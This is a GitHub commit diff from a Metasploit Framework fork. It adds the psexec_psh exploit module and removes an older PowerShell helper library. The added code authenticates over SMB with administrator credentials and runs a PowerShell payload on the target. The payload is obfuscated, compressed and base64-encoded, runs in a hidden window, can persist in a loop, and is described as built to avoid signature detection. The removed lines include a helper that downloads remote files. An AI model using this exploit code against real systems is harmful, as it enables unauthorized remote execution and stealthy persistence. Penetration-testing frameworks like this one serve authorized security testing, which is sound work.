forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Fix git branch mauling - reintroduce psexec_psh
Replace powershell lib which snuck in as psexec_psh. Introduce psexec_psh module which uses the Rex and Msf PSH methods provided in the lib import.
- Loading branch information
RageLtMan
committed
Jul 28, 2013
1 parent
4df3b02
commit b3fab9a
Showing
1 changed file
with
87 additions
and
173 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,189 +1,103 @@ | ||
# -*- coding: binary -*- | ||
require 'rex/exploitation/powershell' | ||
|
||
module Msf | ||
module Exploit::Powershell | ||
require 'msf/core' | ||
|
||
class PshScript < Rex::Exploitation::Powershell::Script | ||
end | ||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ManualRanking | ||
|
||
def initialize(info = {}) | ||
super | ||
register_advanced_options( | ||
[ | ||
OptBool.new('RUN_WOW64', [ | ||
false, | ||
'Execute powershell in 32bit compatibility mode, payloads need native arch', | ||
false | ||
]), | ||
OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]), | ||
OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), | ||
OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), | ||
OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), | ||
], self.class) | ||
end | ||
# Exploit mixins should be called first | ||
include Msf::Exploit::Remote::SMB::Psexec | ||
include Msf::Exploit::Powershell | ||
include Msf::Auxiliary::Report | ||
include Msf::Exploit::EXE | ||
|
||
# | ||
# Reads script into a PshScript | ||
# | ||
def read_script(script) | ||
return PshScript.new(script) | ||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution', | ||
'Description' => %q{ | ||
This module uses a valid administrator username and password to execute a powershell | ||
payload using a similar technique to the "psexec" utility provided by SysInternals. The | ||
payload is obfuscated, gzip compressed, then encoded in base64 and executed from the commandline | ||
using the -encodedcommand flag. Using this method, the payload is never written to disk, and | ||
given that each payload is unique, is not very prone to signature based detection on the wire. | ||
Since executing shellcode in .NET requires the use of system resources from unmanaged memory space, | ||
the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided | ||
to execute the payload in a while loop in order to maintain a form of in-mem persistence. In the event | ||
of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection. | ||
In order to avoid interactive process notifications for the current user, the psh payload has | ||
been reduced in size and wrapped in a powershell invocation which hides the window entirely. | ||
}, | ||
|
||
'Author' => [ | ||
'RageLtMan <rageltman[at]sempervictus' | ||
], | ||
|
||
'License' => MSF_LICENSE, | ||
'Privileged' => true, | ||
'DefaultOptions' => | ||
{ | ||
'WfsDelay' => 10, | ||
'EXITFUNC' => 'thread' | ||
}, | ||
'Payload' => | ||
{ | ||
'Space' => 8192, | ||
'DisableNops' => true, | ||
'StackAdjustment' => -3500 | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ 'Automatic', { } ], | ||
], | ||
'DefaultTarget' => 0, | ||
'References' => [ | ||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) | ||
[ 'OSVDB', '3106'], | ||
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ], | ||
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ], | ||
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] | ||
] | ||
)) | ||
|
||
register_options([ | ||
OptBool.new('PERSIST', [false, 'Run the payload in a loop']), | ||
OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]), | ||
OptBool.new('DryRun',[false,'dry run',false]), | ||
], self.class) | ||
end | ||
|
||
# | ||
# Insert substitutions into the powershell script | ||
# | ||
def make_subs(script, subs) | ||
if ::File.file?(script) | ||
script = ::File.read(script) | ||
end | ||
|
||
subs.each do |set| | ||
script.gsub!(set[0],set[1]) | ||
end | ||
# if datastore['VERBOSE'] | ||
# print_good("Final Script: ") | ||
# script.each_line {|l| print_status("\t#{l}")} | ||
# end | ||
return script | ||
end | ||
|
||
# | ||
# Return an array of substitutions for use in make_subs | ||
# | ||
def process_subs(subs) | ||
return [] if subs.nil? or subs.empty? | ||
new_subs = [] | ||
subs.split(';').each do |set| | ||
new_subs << set.split(',', 2) | ||
def exploit | ||
command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD']) | ||
if datastore['DryRun'] | ||
print_good command | ||
return | ||
end | ||
return new_subs | ||
end | ||
|
||
# | ||
# Return a gzip compressed powershell script | ||
# Will invoke PSH modifiers as enabled | ||
# | ||
def compress_script(script_in, eof = nil) | ||
# Build script object | ||
psh = PshScript.new(script_in) | ||
# Invoke enabled modifiers | ||
datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| | ||
mod_method = k.split('::').last.intern | ||
psh.send(mod_method) | ||
#Try and authenticate with given credentials | ||
if connect | ||
begin | ||
smb_login | ||
rescue StandardError => autherror | ||
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") | ||
return | ||
end | ||
# Execute the powershell command | ||
begin | ||
print_status("#{peer} - Executing the payload...") | ||
#vprint_good(command) | ||
return psexec(command) | ||
rescue StandardError => exec_command_error | ||
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") | ||
return false | ||
end | ||
disconnect | ||
end | ||
return psh.compress_code(eof) | ||
end | ||
|
||
# | ||
# Runs powershell in hidden window raising interactive proc msg | ||
# | ||
def run_hidden_psh(ps_code,ps_bin='powershell.exe') | ||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } " | ||
|
||
ps_wrapper = <<EOS | ||
$si = New-Object System.Diagnostics.ProcessStartInfo | ||
$si.FileName = "#{ps_bin}" | ||
$si.Arguments = '#{ps_args}' | ||
$si.UseShellExecute = $false | ||
$si.RedirectStandardOutput = $true | ||
$si.WindowStyle = 'Hidden' | ||
$si.CreateNoWindow = $True | ||
$p = [System.Diagnostics.Process]::Start($si) | ||
EOS | ||
|
||
return ps_wrapper.gsub("\n",';') | ||
def peer | ||
return "#{rhost}:#{rport}" | ||
end | ||
|
||
# | ||
# Creates cmd script to execute psh payload | ||
# | ||
def cmd_psh_payload(pay, old_psh=false) | ||
# Allow powershell 1.0 format | ||
if old_psh | ||
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) | ||
else | ||
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) | ||
end | ||
# Run our payload in a while loop | ||
if datastore['PERSIST'] | ||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2) | ||
sleep_time = rand(5)+5 | ||
psh_payload = "function #{fun_name}{#{psh_payload}};" | ||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" | ||
end | ||
# Determine appropriate architecture, manual method reduces script size | ||
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' | ||
# Wrap in hidden runtime | ||
psh_payload = run_hidden_psh(psh_payload,ps_bin) | ||
# Convert to base64 for -encodedcommand execution | ||
command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n" | ||
end | ||
|
||
|
||
# | ||
# Useful method cache | ||
# | ||
module PshMethods | ||
|
||
# | ||
# Convert binary to byte array, read from file if able | ||
# | ||
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) | ||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data | ||
code = code.unpack('C*') | ||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" | ||
lines = [] | ||
1.upto(code.length-1) do |byte| | ||
if(byte % 10 == 0) | ||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" | ||
else | ||
lines.push ",0x#{code[byte].to_s(16)}" | ||
end | ||
end | ||
|
||
return psh << lines.join("") + "\r\n" | ||
end | ||
|
||
# | ||
# Download file to host via PSH | ||
# | ||
def self.download(src,target=nil) | ||
target ||= '$pwd\\' << src.split('/').last | ||
return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^ | ||
end | ||
|
||
# | ||
# Uninstall app | ||
# | ||
def self.uninstall(app,fuzzy=true) | ||
match = fuzzy ? '-like' : '-eq' | ||
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ | ||
end | ||
|
||
# | ||
# Create secure string from plaintext | ||
# | ||
def self.secure_string(str) | ||
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^ | ||
end | ||
|
||
# | ||
# MISC | ||
# | ||
|
||
# | ||
# Find PID of file locker | ||
# | ||
def self.who_locked_file?(filename) | ||
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ | ||
end | ||
|
||
|
||
def self.get_last_login(user) | ||
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ | ||
end | ||
end | ||
end | ||
end | ||
|